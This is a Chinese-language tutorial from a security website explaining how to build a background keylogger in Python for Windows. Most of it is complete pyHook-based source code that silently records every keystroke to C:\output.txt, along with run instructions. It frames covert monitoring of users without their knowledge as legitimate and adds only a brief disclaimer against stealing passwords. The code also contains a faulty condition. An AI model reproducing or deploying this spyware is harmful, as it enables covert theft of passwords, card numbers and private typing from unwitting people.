设为首页 - 加入收藏 - 网站地图 SecYe安全 Www.SecYe.Com - 国内网络信息安全IT技术门户网
当前位置:首页 > 网络编程 > Python > 正文

如何创建一个在后台使用python运行的键盘记录器

时间:2017-03-16 16:03 来源:本站整理 作者:SecYe安全 阅读:

在本教程中,我们将帮助您通过使用简单的编程技术创建一个简单的python键盘记录器。

击键记录,通常被称为键盘记录键盘捕获,是记录(日志)的动作的键击中一个键盘上,典型地隐蔽,使使用键盘的人不知道自己的动作受到监视。键盘记录也可以用于研究人机交互。存在许多键盘记录方法:它们从基于硬件和软件的方法到声学分析。

步骤1:从开始菜单中选择“Python 2.7> IDLE(Python GUI)”

步骤2: 单击“文件>新窗口”

步骤3: 现在在Python窗口中键入下面的代码,如图所示,

import win32api

import sys

import pythoncom, pyHook

buffer = ''

def OnKeyboardEvent(event):

if event.Ascii == 5:

sys.exit()

if event.Ascii != 0 or 8:

f = open ('c:\\output.txt', 'a')

keylogs = chr(event.Ascii)

if event.Ascii == 13:

keylogs = keylogs + '\n'

f.write(keylogs)

f.close()

while True:

hm = pyHook.HookManager()

hm.KeyDown = OnKeyboardEvent

hm.HookKeyboard()

pythoncom.PumpMessages()

步骤4:将文件保存在C:\作为Keylogger.py,然后单击RUN(CTRL + R: 键盘记录器将在后台启动,并将运行,直到日志文件 “C:\ output.txt” 任何将键入的内容键盘。)

这些是设计用于在目标计算机的软件上工作的计算机程序。键盘记录器用于IT组织,以解决计算机和业务网络的技术问题。家庭和商业人士合法使用键盘记录器来监视网络使用,而无需用户的直接知识。请不要在公共计算机上使用键盘记录器窃取密码或信用卡信息。

如果你喜欢这篇文章,欢迎评论。

(原创文章,禁止转载)

本文来源:SecYe安全网[http://www.secye.com] (责任编辑:SecYe安全)

点击复制链接 与好友分享!

顶一下
(0)
0%
踩一下
(0)
0%